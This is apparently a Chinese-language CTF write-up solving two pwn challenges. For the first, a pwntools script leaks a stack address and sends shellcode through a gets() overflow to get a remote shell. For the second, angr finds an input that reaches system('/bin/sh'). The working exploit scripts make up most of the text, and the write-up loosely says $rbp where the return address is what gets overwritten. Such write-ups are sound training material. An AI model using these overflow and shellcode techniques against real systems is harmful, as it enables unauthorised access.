shellcode 注入

需要解的程序, 目的是获取同目录下的 flag.txt 内容

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
// chall.c
#include <stdio.h>
#include <stdlib.h>

void vuln(void)
{
char buf[100];
printf("<Text 2> %p\n", buf);
gets(buf);
}

void main(void)
{
char sample[20];
puts("<Text 1>");
fgets(sample, sizeof(sample) - 1, stdin);
vuln();
}

编译命令

1
gcc chall.c -o chall -fno-stack-protector -z execstack

可以注意 execstack 这一项.

一开始我本想用第二个 gets 溢出来重写 $rbp 寄存器到 system 的地址, 然后 $rdi/bin/sh 来执行 system("/bin/sh"); 以获取命令行, 但是问题出现在拿不到远程的 system 地址.

后来看了一眼网上, 可以用 shellcode 来解决

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
# solve.py
from pwn import *
# lib = gdb.debug("<local file>")
lib = remote("<remote addr>", <port>)
print(lib.recv())
# 随便写点什么填充第一个输入
lib.sendline(b"a")
re = lib.recv()
print(re)
# 从第二个输出中获取第二个字符数组的地址
addr = int(re[-15:-1], 16)
print(re[-15:-1])
# 获取 bytes 类型的 system("/bin/sh"); 的 shellcode
bash_bytes = asm(shellcraft.amd64.linux.sh(),arch='amd64', os='linux')
print(len(bash_bytes))
# 填充 shellcode 到第二个字符数组, 同时用 overflow 重写 `$rbp` 到之前获取的第二个字符数组开头
lib.sendline(bash_bytes + b"\x00" * (120 - len(bash_bytes)) + p64(addr, endian="little"))
# 获取 flag.txt 内容
lib.sendline(b"cat flag.txt")
lib.recv()

angr 破解输入

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
// chall.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
char key[50] = "_________________<Text_1>______________\xC0\xDE";

void win(void)
{
system("/bin/sh");
}

void main(void)
{
char input[50];
fgets(input, sizeof(input) - 1, stdin);
if (strlen(input) == strlen(key)) {
for (int i = 0; i < strlen(key); i++) {
if ((input[i] ^ 0x27) != key[i]) {
exit(0);
}
}
system("/bin/sh");
}
}

这里是要输入一个合适的字符串, 使程序走到 system 这一行
然后我就想到了可以用 Angr 来爆破输入的字符串
编译命令

1
gcc chall.c -o chall

解决脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
# solve.py
import angr
import sys
# 程序地址
path_to_binary = "./chall"
# 载入程序
project = angr.Project(path_to_binary)
# 入口点为默认程序入口点
initial_state = project.factory.entry_state()
# 初始化模拟器
simulation = project.factory.simgr(initial_state)
# system 那一行的地址 (0x400000 开头是因为 Angr 的 pie 地址默认是 0x400000)
print_good_address = 0x400924
# 寻找解决方案
simulation.explore(find=print_good_address)

if simulation.found:
solution_state = simulation.found[0]
# 输出输入值
solution = solution_state.posix.dumps(sys.stdin.fileno())
print(solution)
else:
raise Exception('Could not find the solution')

然后

1
2
3
4
5
6
from pwn import *
# 提交解决方案地址
lib = remote("<remote addr>", 1111)
# 上一步获得的值
lib.sendline(b'cNB@H\x07}FDDFN\x07NT\x07SOB\x07EBTS\x07dtb\x07WUHABTTHU\t\xe7\xf9\x00\x00\x00\x00\x00\x00\x00')
lib.interactive()